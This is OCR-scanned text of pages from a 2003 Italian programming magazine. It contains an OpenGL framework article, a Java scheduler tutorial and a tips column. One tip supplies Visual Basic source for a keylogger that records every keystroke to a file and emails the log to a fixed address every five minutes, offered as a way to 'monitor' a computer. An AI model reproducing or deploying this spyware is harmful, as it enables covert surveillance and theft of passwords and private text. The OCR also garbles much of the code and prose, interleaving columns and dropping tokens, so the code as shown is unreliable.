finestra, così che la nostra scena 3D occuperà tutto 
lo schermo. 



CREARE LA FINESTRA 
PRINCIPALE 

Per creare la finestra principale registriamo la sua 
window class come di consueto con RegisterClass e 
poi chiamiamo CreateWindow; le uniche note da 
tener presenti sono lo stile CSJDWNDC per la win- 
dow class e WS_CLIPCHILDREN e WS_CLIPSI- 
BLINGS per la finestra: questi ultimi sono richiesti 
perché durante l'aggiornamento siano escluse even- 
tuali finestre figlie, mentre il primo stabilisce che 
ogni finestra creata da questa window class (nel 
nostro caso solo la finestra principale) avrà un devi- 
ce context privato. In questo modo eviteremo di 
richiedere che sistema operativo inizializzi un devi- 
ce context nuovo ogni volta che dobbiamo disegnare 
sulla finestra e che venga rilasciato al termine dell'o- 
perazione, in modo da rendere più veloce l'aggior- 
namento dello schermo. Utilizziamo EnumDisplay- 
SettingsEx per enumerare tutte le modalità video 
supportate da scheda grafica e monitor, finché non 
incontreremo quella da noi scelta; nel caso in cui 
uno tra i valori di width, height o color-depth sia zero 
(i valori di default), utilizzeremo la risoluzione video 



^ 48/Dicembre 2003 



http://www.ioprogrammo.it 



Algoritmi per la grafica ■ ▼ TEORIA & TECNICA 



corrente. Per poter disegnare su questa finestra con 
OpenGL, dobbiamo creare un rendering context. Un 
rendering context è il canale attraverso il quale ogni 
comando OpenGL viene eseguito; si tratta di un'e- 
stensione di Microsoft, non un concetto nativo in 
OpenGL, e può essere paragonato al concetto di 
device context che utilizziamo per disegnare su una 
finestra con GDI. Ma mentre dobbiamo specificare 
un device context ad ogni funzione GDI, qui impo- 
stiamo un rendering context come corrente, e questo 
verrà automaticamente utilizzato da tutte le chia- 
mate OpenGL che effettueremo nello stesso thread. 
Per disegnare sullo schermo senza sfarfallii abbiamo 
bisogno di un doppio buffer, cioè una schermata 
"nascosta"; in ogni istante soltanto un buffer è visibi- 
le: quando avremo completato di disegnare su quel- 
lo nascosto lo mostreremo a video e quello prece- 
dente verrà nascosto. In questo modo ogni immagi- 
ne sarà visibile solo quando sarà stata disegnata 
completamente. È il compito di ChoosePixelFormat 
e SetPixelFormat, mentre wglCreateContext e wgl- 
MakeCurrent creano il rendering context e lo rendo- 
no attivo. La nostra finestra OpenGL è finalmente 
pronta! Al termine dell'esecuzione dell'applicazione 
ci ricorderemo di eliminare il rendering context e il 
device context creati e riporteremo le impostazioni 
dello schermo allo stato precedente (se sono state 
modificate). 



COSTRUIAMO 
UHI FRAMEWORK 

Con le nozioni di base che abbiamo appena mostra- 
to siamo in grado di creare un piccolo framework; 
potremo così riutilizzare il codice in qualsiasi altra 
applicazione con gran facilità. 
La classe principale, quella che rappresenta il nostro 
genere di applicazione, è FullScreenGLApp. Essa 
contiene i metodi necessari per creare una finestra a 
schermo intero, inizializzare OpenGL e gestire la 
coda dei messaggi. E' una classe astratta: non è pos- 
sibile creare un oggetto direttamente, perché non 
sappiamo in partenza quale comportamento assu- 
merà la nostra applicazione, ma è necessario creare 
una classe che derivi da essa ed implementi i suoi 
metodi virtuali puri. OurFirstDemo è la classe deri- 
vata che rappresenta la nostra applicazione; ne esi- 
ste una sola istanza, di ambito globale. Le altre clas- 
si possono accedere ai suoi metodi pubblici e, 
soprattutto, ai suoi campi, che rappresentano le 
variabili generali. Ecco come appare il WinMain: 



theApp. InitSceneQ; 



// Message loop 



OurFirstDemo theApp; 


int WINAPI WinMain (...) 


{ if (ItheApp.CreateMainWi 


idow 


(hinsta 
_TEXT(' 


nce, 
GL Exa 


Tiple 


'))) 


// show error and exit 



// [...vedi esempio successivo...] } 

CreateMainWindow è il metodo che si occupa 
della creazione della finestra principale, come 
abbiamo descritto in precedenza. Possiamo deci- 
dere la risoluzione in pixel dello schermo e i bit di 
colore oppure lasciare a zero questi i valori (il 
metodo ha questi valori di default): noi scegliamo 
questa opzione, così la nostra applicazione utiliz- 
zerà la risoluzione corrente. InitScene inizializza 
tutti gli effetti che applicheremo, il main loop si 
occuperà di disegnare la scena e rispondere ai 
comandi dell'utente. Il distruttore di 
OurFirstDemo, chiamato automaticamente al ter- 
mine del programma, si occuperà di liberare le 
risorse utilizzate. Il main loop della nostra applica- 
zione necessita di particolare attenzione, perchè si 
differenzia un po' da quello di un normale pro- 
gramma per Windows; il nostro obiettivo è sempre 
quello di migliorare al massimo le prestazioni: 

MSG msg; 

while (true) 

{ if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) 

{ if (msg. message == WM_QUIT) 

break; 

TranslateMessage(&msg); 
DispatchMessage(&msg);} 
else 

{ theApp. RenderScene();} 
} 



La prima differenza è l'uso della funzione Peek- 
Message al posto di GetMessage. Entrambe preleva- 
no i messaggi tra quelli disponibili nella coda di un 
thread, ma GetMessage blocca l'esecuzione se la 
coda è vuota, in attesa che arrivi un nuovo mes- 
saggio. Questo è utile per una normale applicazio- 
ne: se non ha messaggi da gestire rimane in attesa, 
ed è ciò che una normale applicazione fa per gran 
parte del tempo. Noi utilizzeremo PeekMessage, in 
modo che se c'è un messaggio in coda verrà gesti- 
to, altrimenti aggiorneremo continuamente la 
visualizzazione della scena. 



CONCLUSIONI 

In questa prima parte dell'articolo abbiamo messo 
in luce alcuni aspetti teorici indispensabili per 
incominciare a lavorare con OpenGL. Nella secon- 
da parte applicheremo tutte le conoscenze acqui- 
site, mostreremo il comportamento delle altre 
classi del nostro framework e prepareremo un pro- 
gramma dimostrativo completo. 

Marco Era 





Da tre anni lavora in qua- 
lità di consulente Visual 
C++ e le sue esperienze 
lavorative hanno incluso i 
nomi di Ericsson Lab Italy 
e ITStaff S.P.A. 
Attualmente lavora per 
conto diA&Day alla suite 
di progetti MyOffice di 
Nemetschek. 

La sua pagina web è dispo- 
nibile all'indirizzo: 
www.marcoera.com. 
Per contatti e feedback su 
questo articolo potete 
scrivere a: 
marco. era@ioprogrammo. it 



http://www.ioprogrammo.it 



Dicembre 2003/49 ► 



TEORIA & TECNICA T ■ Timer e Thread: esempi pratici 



Realizziamo un CRONTAB in Java integrabile nei nostri progetti 

Scheduling in Java 

Spesso si rivela necessario impostare lo scheduling di alcune attività 
all'interno di un'applicazione. Tramite le classi Timer e TimerTask è ora 
più agevole realizzare tale funzionalità. 




U CD U WEB 

Sclietluler.zip 



w e* 











iava.leng.Object 
j ava. irtil. Timer 




-queueijavs utJI.TaskQueue 
-threadijava.util.TimerThread 
-threadReaper:java.lang Objeet 


+Tirner 

+Tirner 

+schedule:vQJd 

+schedule:void 

+schedule:void 

+schedule:void 

^-scheduleAtFixedRale>cid 

+schetìul5AtFiìietìRate:vold 

-sched:void 

+cancel:void 


1 
















Java.Iang.ObJBcl 
java.fang.Runnat^e 
java.utif. TimerTask 




lockjava.lang. Objeet 

siateli nt 

VIRGIN:int 

SCHEDULED:int 

EXECUTED:ini 

CANCELLEDInt 

nmlEwt j; OfV'i im>? ìc-ì-ii 

period:long 


#TimerTask 

+um:vo>d 

+cancel:boolean 

tscheduledExecutionTìmelong 

P ! 









Fig. 1: Class diagram 
delle classi di timer 



LJ esecuzione di attività in ben definiti istanti di 
tempo è un'operazione che è richiesta spes- 
i so. Pensiamo ad esempio a funzionalità di 
remainder, di animazioni, di timeout, ecc. La solu- 
zione più semplice in tali casi è quella di mettere il 
thread di controllo nello stato di sleep per il tempo 
prestabilito ed al suo risveglio eseguire il relativo 
task. Ovviamente, ciò non garantisce nessuna preci- 
sione temporale in quanto il tempo misurato all'in- 
terno del thread non è uguale al tempo effettivo, 
data la gestione multitasking dei vari sistemi opera- 
tivi. A partire dalla versione 1.3 della piattaforma 
Java 2, Standard Edition, la Sun ha messo a disposi- 
zione due classi adatte allo scopo: Timer e Ti- 
merTask. 



TIMER E TIMERTASK 

Tali classi, presenti nel package java.util, permetto- 
no appunto di schedulare dei task per essere esegui- 
ti in un thread in background. Esse sono mostrate 
nel diagramma di Fig. 1. TimerTask è una classe 
astratta, da cui derivare tutte le classi che rappresen- 
tano i task schedulati. Essa, infatti, implementa l'in- 
terfaccia Runnable, mantenendo astratto il metodo 
run, che ogni sottoclasse deve definire. La classe 
Timer, viceversa, crea e gestisce i thread su cui i task 
sono eseguiti. Essa crea ed avvia un thread in back- 
ground che gestisce l'esecuzione dei vari oggetti 
TimerTask schedulati. Si possono creare più timer 
all'interno di un'applicazione, ognuno gestirà il pro- 
prio thread di background. Al momento della crea- 
zione di un oggetto Timer, inoltre, si può specificare 
se esso deve creare un thread di background di tipo 
daemon. Ricordiamo che la caratteristica di un 
thread daemon è tale che l'applicazione che lo ha 
avviato può terminare anche se il thread è ancora in 
esecuzione (al contrario di quanto accade per i 
thread non daemon). Il thread può essere fermato in 
qualsiasi momento invocando il metodo cancel 
della classe TimerTask, ma non può essere più riav- 
viato (occorre creare in tal caso un nuovo oggetto Ti- 
merTask e reimpostare i task schedulati). La classe è 
inoltre thread-safe, ossia i suoi metodi sono sincro- 



nizzati, ma non permette lo scheduling in real-time 
dato che si basa sul metodo Objeet .wait(long) che 
può causare delle piccole imprecisioni. Una volta 
creato un TimerTask, si può schedularlo invocando 
il metodo schedule della classe Timer. Sono disponi- 
bili quattro versioni di tale metodo, più due versioni 
di schedule AtFixedRate. 

schedule(TimerTask task, long delay) 
schedule(TimerTask task. Date time) 
schedule(TimerTask task, long delay, long period) 
schedule(TimerTask task. Date time, long period) 
scheduleAtFixedRate(TimerTask task, long delay, long period) 
scheduleAtFixedRate(TimerTask task, Date firstTime, 

long period) 

Ognuna di esse imposta l'esecuzione dei task in uno 
specificato istante di tempo (usando l'oggetto Date) 
o dopo uno specificato ritardo (espresso in millise- 
condi). Inoltre è possibile decidere se eseguire un 
task una sola volta o più volte ripetendone l'esecu- 
zione ad intervalli di tempo specificati. E' presente il 
metodo scheduleAtFixedRate il quale schedula la 
ripetizione dell'esecuzione di un task ad intervalli di 
tempo relativi all'istante della prima esecuzione. 
In pratica se un'esecuzione subisce un ritardo, le 
esecuzioni successive sono eseguite ad intervalli 
minori in modo da compensare il ritardo. 



UHI SEMPLICE 
SCHEDULER 

Lo scheduler, che andremo a progettare il cui dia- 
gramma delle classi è mostrato in Fig. 2 è una ver- 
sione semplificata del comando crontab presente su 
Unix. Esso legge le informazioni relative ai task sche- 
dulati contenute in un file di testo, in cui in ogni riga 
appare il comando da invocare con i relativi para- 
metri e con l'orario in cui deve essere eseguito. Nel 
nostro caso non andremo ad implementare tutte le 
funzionalità del crontab ma solo quelle fondamen- 
tali. Occorre inoltre precisare che la principale diffe- 
renza del nostro scheduler, rispetto al crontab, è 
quello di poterlo integrare in un'applicazione fava 



». 50/ Dicembre 2003 



http://www.ioprogrammo.it 



Timer e Thread: esempi pratici I T TEORIA & TECNICA 



.:■!"■;, I 

■■fpsdh 

-pa rse C o min ari ci: void 

-ci eateT ask: Tim erT ask 



SuheduledTask 



■ SohedviwiT»» 



Se h e duled T h rea d e d Ta s k 



: ■ : ■ : ' ■ ■ . . ' . ..■ 



Re m ai n d e rC o mmand 



+ Re ma i ride rCom ma nd 



BackupCommand 



Fig. 2: Class diagram dello scheduler 



zioni leggere il relativo box o fare riferimento alle 
risorse elencate a fine articolo). 

BufferedOutputStream bof = new BufferedOutputStream( 
(new FileOutputStream(args[0])); 
ZipOutputStream zip = new ZipOutputStream(bof); 

byte data[] = new byte[BUFFER]; 

File f = new File(args[l]); 

String files[] = f.listQ; 

BufferedlnputStream origin = nuli; 




preesistente. Ad esempio può essere utilizzato in 
una console in cui sono visualizzati all'utente dei 
remainder. Iniziamo definendo la sintassi della riga 
che, nel file di configurazione dello scheduler, speci- 
fica le informazioni per l'esecuzione di un comando. 
Essa può essere definita come una serie di campi 
separati da uno spazio: 

dd-mm-yyyy:hh:mm rate classe arg-1 arg-2... arg-n 
Il primo campo specifica la data e l'ora di avvio del- 
l'esecuzione del comando. Il secondo, invece, deno- 
minato rate, riporta (in secondi) l'intervallo di 
tempo dopo il quale il comando è rieseguito. Se 
impostato a zero, il comando sarà invocato solo la 
prima volta. I restanti parametri specificano il nome 
della classe (completo di package) che implementa 
il comando da eseguire e gli eventuali argomenti da 
passargli nell'esecuzione. Passiamo ora ad esamina- 
re più in dettaglio il class diagram dello scheduler 
iniziando dall'interfaccia Command. L'uso di tale in- 
terfaccia nasce dall'applicazione del pattern Com- 
mand il quale incapsula ogni richiesta di esecuzione 
di un comando in un oggetto, permettendo di para- 
metrizzare i client con diverse richieste (per maggio- 
ri informazioni vedere relativo Box). Abbiamo quin- 
di definito un metodo run che deve essere imple- 
mentato da ogni classe desideri essere invocata 
dallo scheduler come task, 
public void run(String args[]); 
Il metodo riceve come parametro un array di ogget- 
ti String che corrispondono ai parametri, da passare 
al comando al momento dell'esecuzione, e definiti 
nel file di configurazione dello scheduler. Come 
esempio, abbiamo definito due semplici classi che 
implementano tale interfaccia: RemainderCom- 
mand e BackupCommand. La prima semplicemen- 
te crea e visualizza una finestra grafica in cui è 
visualizzato un messaggio di remainder specifica- 
to tra i parametri di esecuzione del task (per mag- 
giori dettagli vedere il codice). La seconda classe 
viceversa effettua il backup di una directory creando 
un file zip (sia il nome della directory che quello del 
file zip sono i parametri di esecuzione del task) e 
quindi rappresenta un esempio di comando la cui 
esecuzione richiede un tempo medio particolar- 
mente "lungo". Nel seguito è mostrato il frammento 
di codice che crea il file zip grazie alle classi disponi- 
bili nel packagejava.util.zip (per maggiori informa- 



A partire dalla nome della directory di cui fare il 
backup, creiamo per prima cosa un'istanza della 
classe ZipOutputStream e quindi otteniamo un' ar- 
ray di stringhe relative ai file contenuti in tale direc- 
tory (per semplicità, consideriamo che la directory 
sorgente non contenga sottodirectory). 

for (int i=0; i<files.length; i+ + ) { 

FilelnputStream fi = new FileInputStream(args[l] 
+ "/" + files[i]); 

// create zip entry 

origin = new BufferedInputStream(fi, BUFFER); 

ZipEntry entry = new ZipEntry(files[i]); 

// add entries to ZIP file 

zip.putNextEntry(entry); 

int count; 

while((count = origin. read(data, 0, BUFFER)) != -1) 
{ zip.write(data, 0, count);} 
origin. close();} 
zip.closeQ; 



Successivamente, per 
ogni file presente nella 
directory, si crea un og- 
getto ZipEntry (che, ag- 
giunto allo zip stream, 
funziona come un indice 
al file) e quindi vengono 
scritti i bytes del relativo 
file mediante il metodo 
write. Infine lo zip stream 
viene chiuso. Una volta 
definiti i possibili coman- 
di da eseguire, occorre 
implementare la classe, 
derivante da TimerTask, 
che definisce il task. A 
tale scopo è presente la 



COMPRESSIONE E 

DECOMPRESSIONE 

DATI 

Java offre il package 
Java.util.zip per la 
compressione e la 
decompressione dei 
dati. Le classi contenute 
permettono di 
implementare nel 
proprio codice la 
lettura, la scrittura e la 
modifica di file 
compressi nei formati 
ZIP e GZIP. 























scheduler 




Scheduler 












na,«»,»o 


fSf 






(f 


1 IzreadFilerstrinatvdd ffl-eaflFile 
UT? parseCoi-ni-nai-id(Slnnq): void '■parse Ime 

|_|_pFcrV:ii . jl: TimerTask ^create 


task 










' ><.M.m>»An<M 


Pi int Command 






II 










u 

| 6: <consin.- ■ eringi]) floreale 


Y 




task 

Sch edule dTa sii 






l'I 






u 


sdulegava uìii 1 imerTast java lèi 1. Dal e. void 


tfsched.L|le 








LJ 





Fig. 3: Sequence diagram relativo al funzionamento 
dello scheduler. 



classe ScheduledTask la quale nel costruttore riceve 
l'istanza della classe implementante Command e 
l'array dei parametri. 

protected Command cmd = nuli; 

protected String[] args = nuli; 

public ScheduledTask(Command cmd,String[] args) { 

this.cmd = cmd; this.args = args; } 
public void run() {cmd.run(args);} 



http://www.ioprogrammo.it 



Dicembre 2003/51 ► 



TEORIA & TECNICA T H Timer e Thread: esempi pratici 




BIBLIOGRAFIA 



• DESIGN PATTERNS: 
ELEMENTS OF 
REUSABLE OBJECT- 
ORIENTED SOFTWARE 
Erich Gamma, 
Richard Helm, 
Ralph Johnson 
e John Vlissides, 
(Acldison Wesley) 




David Visicchio è 

laureato in Ingegneria 

Informatica e lavora a 

Roma come 

designer/developer 

presso una 

multinazionale 

software, leader nel 

mercato per la 

persistenza ed il 

middleware di sistemi 

object-oriented. I suoi 

interessi sono orientati 

principalmente alle 

architetture distribuite 

basate su piattaforme 

J2EE e J2SE. 




Using the Timer and 
TimerTask Classes - 

http://java.sun.com/docs/ 

books/tutorial/essential/ 

threads/timer.html 

Using Pattern 
Command 

www.iavaworld.com/ 

javaworld/javatips/ 

jw-javatip68.html 

Java Reflection 

http://developer.java.sun. e 

om/developer/technicalAr 

ticles/ALT/Reflection/ 



Come si può notare, il metodo run semplicemente 
richiama suo omologo metodo definito nell'inter- 
faccia passandogli l'array dei parametri. Resta da de- 
scrivere la classe principale, denominata Scheduler, 
la quale si incarica di leggere ed interpretare il file di 
configurazione e di attivare quindi i diversi task. 

private DateFormat formatter = nuli; 

private Timer timer = nuli; 

public Scheduler(String fileName) throws IOException { 

timer = new Timer(); 

formatter = new SimpleDateFormat ( 

"dd-MM-yyyy:hh:mm"); 

readFile(fileName); } 

Il costruttore crea un'istanza della class Timer ed un 
oggetto SimpleDateFormat necessario per il parsing 
della data e dell'ora specificati per l'avvio dell'esecu- 
zione di ogni task. Infine richiama il metodo readFi- 
le, il quale legge file e per ogni riga letta invoca il 
metodo parseCommand, passandogli come para- 
metro la riga stessa (possiamo osservarne l'imple- 
mentazione di seguito). 

private void parseCommand(String line) throws 

ParseException { 
StringTokenizer st = new StringTokenizer(line," "); 
// starting date 

Date date = formatter.parse(st.nextToken()); 
// repeating rate 
String rate = st.nextTokenQ; 
// classname 

String name = st.nextToken(); 
// arguments 
List list = new ArrayList(); 



Il metodo estrae le informazioni di scheduling di 
ogni task, dopodiché invoca il metodo createTask, 
che vedremo più tardi e che crea l'oggetto Ti- 
merTask, e successivamente schedula il task per es- 
sere eseguito solo una volta oppure in modo reitera- 
to (nel caso il parametro rate sia diverso da zero). 

TimerTask task = createTask(name,(String[]) 

Mst.toArray(new String[0])); 

if(task == nuli) 

return; 

try {long Irate = new Long(rate).longValue(); 

if(lrate != 0) 

timer.schedule(task,date, Irate* 1000); 

else 

timer.schedule(task,date);} 
catch(NumberFormatException e) 
{timer.schedule(task,date);} 

A questo punto resta da descrivere il metodo di crea- 
zione dell'oggetto TimerTask. Esso, riceve come 



parametro il nome della classe (completo di packa- 
ge) che implementa comando da eseguire e ne 
crea un'istanza mediante la reflection. 

private TimerTask createTask(String name,String args[]) 
{...} 

Innanzitutto si determina l'oggetto Class in base al 
nome della classe richiesta dopodiché, mediante 
getlnterfaces, si ottiene un array di oggetti Class rela- 
tivi alle interfacce implementate. Abbiamo visto che 
le classi, che modellano i comandi eseguibili dal no- 
stro scheduler, devono implementare l'interfaccia 
Command. Pertanto viene effettuato un controllo 
che la classe del comando implementi tale interfac- 
cia. 

Command cmd = (Command) dclass.newlnstance(); 
return new ScheduledTask(cmd,args); 

Infine, sull'oggetto Class si invoca il metodo 
newlnstance, il quale crea un'istanza di quella clas- 
se. Possiamo dunque farne il casting verso Com- 
mand ed utilizzarla per creare l'oggetto Scheduled- 
Task che rappresenta il task. Notare che il metodo 
newlnstance utilizza il costruttore vuoto della clas- 
se il cui oggetto va creato (per supportare il caso di 
costruttori con parametri vedere il BOX sulla 
reflection). L'oggetto ScheduledTask verrà, come 
visto, schedulato nel timer. I passi seguiti dallo 
scheduler sono mostrati nel sequence diagram di 
Fig. 3. A questo punto, apportiamo una piccola otti- 
mizzazione al nostro scheduler. Purtroppo, tra i 
comandi disponibili, ne abbiamo uno, lo ScanNet- 
Command, che impiega per la sua esecuzione un 
tempo abbastanza lungo. Ciò provoca seri problemi, 
in quanto l'oggetto Timer utilizza un unico thread in 
background che esegue sequenzialmente tutti i 
TimerTask schedulati. Se uno di questi task impie- 
gasse troppo tempo, ciò potrebbe provocare un 
ritardo nell'esecuzione dei task successivi. A tal fine 
abbiamo creato una nuova classe, Scheduled- 
TlireadedTask, derivante da ScheduledTask, e che 
ridefinisce il metodo run come segue 

Thread thread = new Thread() {public void run() 

{cmd.run(args);} 

}; thread. start(); 

In tal caso si avvia un thread che si occupa dell'ese- 
cuzione del task, liberando subito il thread del Timer 
che può quindi passare ai task successivi. Infine 
creiamo un file di configurazione con alcuni task 

9-10-2003:15:56 30 RemainderCommand Ricordati di ... 
9-10-2003:15:57 BackupCommand images.zip images 

David Visicchio 



► 52/Dicembre 2003 



http://www.ioprogrammo.it 



Una raccolta di trucchi da tenere a portata di... mouse H T TIPS&TRICKS 



I trucchi del mestiere 

Tips&TVicks 

La rubrica raccoglie trucchi e piccoli pezzi di codice che solitamente non trovano posto nei manuali, ma sono frutto 
dell'esperienza di chi programma. Alcuni trucchi sono proposti dalla Redazione, altri provengono da una ricerca su 
internet, altri ancora ci giungono dai lettori. Chi vuole contribuire potrà inviarci i suoi tips&tricks preferiti che, una volta 
scelti, verranno pubblicati nella rubrica. Il codice completo dei tips è presente nel CD allegato nella directory \tips\o sul 
Web all'indirizzo: cdrom.ioprogrammo.it. 




VISUAL 
BASIC 



IL COMPUTER SEMPRE SOTTO 
CONTROLLO! 

Questo tip permette di tenere sotto controllo il computer 
in nostra assenza inviando, a un indirizzo da noi stabili- 
to, il file di log contenente le attività della tastiera ad 
intervalli di 5 minuti. 
Tip fornito dal Sig. D.Forzan 

Codice agganciato al formi 



Private Si 


jb Form_ 


_Load() 


Module 


l.StartTi 


mer 'cattura tasti 


End Sub 


Private Si 


jb Form_ 


_Unload(Cancel As Integer) 


Module2 


.StopTimer 'Stop invio Email 


Modulel 


.StopTimer 'Stop cattura tasti 


End Sub 



Codice agganciato al modulo 1 

Option Explicit 

Declare Function SetTimer Lib "user32" (ByVal hWnd As Long, ByVal 
nIDEvent As Long, ByVal uElapse As Long, ByVal IpTimerFunc As 

Long) As Long 
Declare Function KillTimer Lib "user32" (ByVal hWnd As Long, ByVal 

nIDEvent As Long) As Long 
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As 

Long) As Integer 
Global Cnt As Long, sSave As String, sOld As String, Ret As String 
Private TimerID As Long, Email As Boolean 
Function GetPressedKey() As String 

For Cnt = 32 To 128 

If GetAsyncKeyState(Cnt) <> Then 

GetPressedKey = Chr$(Cnt) 

Exit For 

End If 

Next Cnt 

End Function 

Sub TimerProc(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal 



uElapse As Long, ByVal IpTimerFunc As Long) 
Ret = GetPressedKey 

If Ret <> sOld Then 

sOld = Ret 

sSave = sSave + sOld 
Scrivi_Su_File (sSave) 

End If 

End Sub 

Function Scrivi_Su_File(Carattere As String) 
On Error Resumé Next 
Dim fso, f 
Set fso = CreateObject("Scripting.FileSystemObject") 

If Not fso.FileExists(App.Path & "\Archivio.txt") Then 

fso.CreateTextFile App.Path & "\Archivio.txt" 

Set f = fso. OpenTextFile(App. Patri & "\Archivio.txt", 2) 

Else 'Se il file esiste aggiungi i dati 

Set f = fso. OpenTextFile(App. Patri & "\Archivio.txt", 8) 

End If 

f.Write Carattere 

f.Close 

sSave = "" 

If Not Email Then 'Se viene premuto un tasto 

Module2.StartTimer 300000 'ogni 5 MINUTI invia email 

Email = True 

End If 

End Function 

Sub StartTimer(Interval As Long) 

TimerID = SetTimer(0, 0, Interval, AddressOf TimerProc) 
End Sub 
Sub StopTimer() 

If TimerID <> Then 

KillTimer 0, TimerID 

End If 

End Sub 

Codice agganciato al modulo 2 

Option Explicit 

Private TimerID As Long 

Sub TimerProc2(ByVal hWnd As Long, ByVal uMsg As Long, ByVal 

idEvent As Long, ByVal IngSysTime As Long) 
Cali Invia ' invia Email 
End Sub 
Sub StartTimer(Interval As Long) 



http://www.ioprogrammo.it 



Dicembre 2003/53 ► 



TIPS&TRICKS T H Una raccolta di trucchi da tenere a portata di... mouse 




IL TIP DEL MESE 



Riprodurre le immagini 
di una WebCam 



Il tip proposto consente di riprodurre, in un compo- 
nente PictureBox, le immagini renderizzate da una 
qualunque WebCam. Altresì l'applicazione prevede la 
possibilità di realizzare delle istantanee. 
Tip fornito dal sig. R.Grassi 

Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" 
Alias "capCreateCaptureWindowA" (ByVal IpszWindowName As 

String, ByVal 

dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth 
As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal 

nID As Long) As Long 
Private Declare Function SendMessage Lib "USER32" Alias 

"SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, 

ByVal wParam As Long, IParam As Any) As Long 

'La funzione capCreateCaptureWindow fornisce l'handle da utilizzare 



per la connessione con il driver di cattur_ 
'La funzione SendMessage serve per eseguire alcune istruzioni 
Dim HwndCattura As Long 

Const FRAME As Long = 1084 

Const CONNESSIONE As Long = 1034 

Const COPYTOCLIPBOARD As Long = 1054 

Const DISCONNESSIONE As Long = 1035 

Private Sub CommandAvvio_Click() 
HwndCattura = capCreateCaptureWindow("WebcamCapture", 0, 0, 



0, 0, 0, Me. Hwnd, 0) 



'Connessione alla webcam 

SendMessage HwndCattura, CONNESSIONE, 0, 
Timerl.Enabled = True 
CommandAvvio.Enabled = False 
CommandFoto.Enabled = True 
CommandStop.Enabled = True 



Private Sub CommandFoto_Click() 
CommonDialogl.ShowSave 
'Salvataggio dell'istantanea 
SavePicture Picturel.Image, CommonDialogl.FileName 



Private Sub CommandStop_Click() 

Timerl.Enabled = False 

' Disconnessione 

SendMessage mCapHwnd, DISCONNESSIONE, 0, 

CommandAvvio.Enabled = True 

CommandFoto.Enabled = False 

CommandStop.Enabled = False 



Private Sub Timerl_Timer() 
On Error Resumé Next 
SendMessage HwndCattura, FRAME, 0, 'Cattura del frame cor- 



SendMessage HwndCattura, COPYTOCLIPBOARD, 0, 'Copia il 

frame nella clipboard 
Picturel.Picture = Clipboard. GetData 'Leggi dalla clipboard 
Clipboard. Clear 



TimerID = SetTimer(0, 0, Interval, AddressOf TimerProc2) 
End Sub 

53 

Sub StopTimer() 

If TimerID <> Then 

KillTimer 0, TimerID 

End If 

End Sub 

Sub Invia() 

On Error Resumé Next 

Dim myMaill 

Set myMaill = CreateObject("CDO.Message") 

myMaill. From = "mia@email.com" 

myMaill. To = "destinazione@allert.it" 

myMaill. Subject = "Monitor Computer" 

myMaill. TextBody = "Allegato Tasti premuti." 

myMaill. AddAttachment App.Path & "\Archivio.txt" 

myMaill. Send 

Set myMaill = Nothing 

End Sub 



COME APPLICARE UN MENU AL DATAGRID 

A volte può capitare di dover visualizzare un menù di 
scelta rapida {pop up) al click destro del mouse, dentro 
una cella del controllo datagrid. Il problema deriva dal 
fatto che al click destro del mouse viene visualizzato un 
menù con le voci taglia, copia, incolla e seleziona tutto. 
L'esempio che trovate nella sezione Tips del CD-Rom o 
sul web (www.ioprogrammo.it) mostra una possibile 
soluzione al problema. 
Tip fornito dal Sig. E.Mattei 



DELPHI 



COME ANNULLARE L'ELABORAZIONE... 

Il problema è stato posto sul forum del sito di ioPro- 
grammo (www.ioprogrammo.it): avrei bisogno di inter- 




». 54/ Dicembre 2003 



http://www.ioprogrammo.it 



Una raccolta di trucchi da tenere a portata di... mouse H T TIPS&TRICKS 



cettare un tasto (per esempio F3 o ESC) per interrompere 
l'elaborazione subordinata alla pressione di un generico 
button. 

La risposta è stata fornita dal sig. Salvatore Meschini: 
Utilizzando YApplication.ProcessMessages si rende possibile l'ela- 
borazione della coda dei messaggi (ovvero quello che serve per 
non "bloccare" l'applicazione)... 

Per operazioni lunghe conviene inserire una chiamata a tale 
metodo per "restituire il controllo" all'utente. 
Una delle soluzioni consiste nella creazione di un nuovo thread 
per la stampa (così come fa per esempio Microsoft Word!) 
Il metodo ProcessMessages è descritto nella documentazione di 
Delphi. 

Esempio: 

procedure TForml.ButtonlClick(Sender: TObject); 

begin 

Etichetta. Caption: = 'Inizio stampa"; 
Application. ProcessMessages; 

sleep(lOOOO); // Operazione lunga: STAMPA 

Etichetta. Caption: = 'Fine stampa"; 
end; 

COME SOMMARE LE RIGHE MULTIPLE SELE- 
ZIONATE IN UNA TDBGRID 

La funzione permette di salvare il contenuto di più righe sele- 
zionate in un controllo TDBGrid. Settare sul valore True le pro- 
prietà dgMultiSelect e dgRowSelect. 

function SUMSomething: Float; 
var 

i: Integer; 
Sum: Currency; 
begin 

Sum := 0; 

for i := 1 to DBGridl.SelectedRows.Count do 
begin 

Tablet. GotoBookMark 

(Pointer(DBGridl.SelectedRows.Items[i-l])); 

Sum := Sum + Tablet. FieldByName('AField').AsFloat; 

end; 



jar,. Ecco un esempio che ne illustra l'utilizzo: 

//implementazione di una classe Loader 

public class JarClassLoader extends MultiClassLoader 

{ 

private JarResources jarResources; 
public JarClassLoader (String jarName) 

{ 

jarResources = new JarResources (jarName); 

} 

protected byte[] IoadClassBytes (String className) 

{ 

className = formatClassName (className); 
return (jarResources. getResource (className)); 

} 



// codice che utilizza il loader ed effettua 
// l'estrazione delle risorse dal file in esame 

public static class Test 

{ 

public static void main(String[] args) throws Exception 

j 

if (args.length != 2) 

_J 

System. err.println ("Usage: java JarClassLoader" + 

"<jar file name> <class name>"); 
System. exit (1); 

} 

JarClassLoader jarLoader = new JarClassLoader (args [0]); 

Class e = jarLoader.loadClass (args [1], true); 
Object o = c.newlnstance(); 

if (o instanceof TestClass) 

{ 

TestClass te = (TestClass) o; 
tc.doSomethingO; 
} 



Result 
end; 



Sum; 



} 




JAVA/ 
JAVA SCRIPT 



COME CREARE OGGETTI DA FILE JAR 

In java sono note alcune tecniche che consentono l'estra- 
zione di risorse java direttamente da file con estensione 



COME REPERIRE LA VIRTUAL MACHINE 
SULLA QUALE GIRA LA MOSTRA APPLICA- 
ZIONE 

A volte delle applicazioni potrebbero avere problemi e 
non girare correttamente con versioni obsolete della 
Virtual Machine. Sarebbe quindi opportuno inserire un 
controllo della versione della virtual machine. Il tip 
mostra come ottenere la versione della VM installata sul 
sistema. 

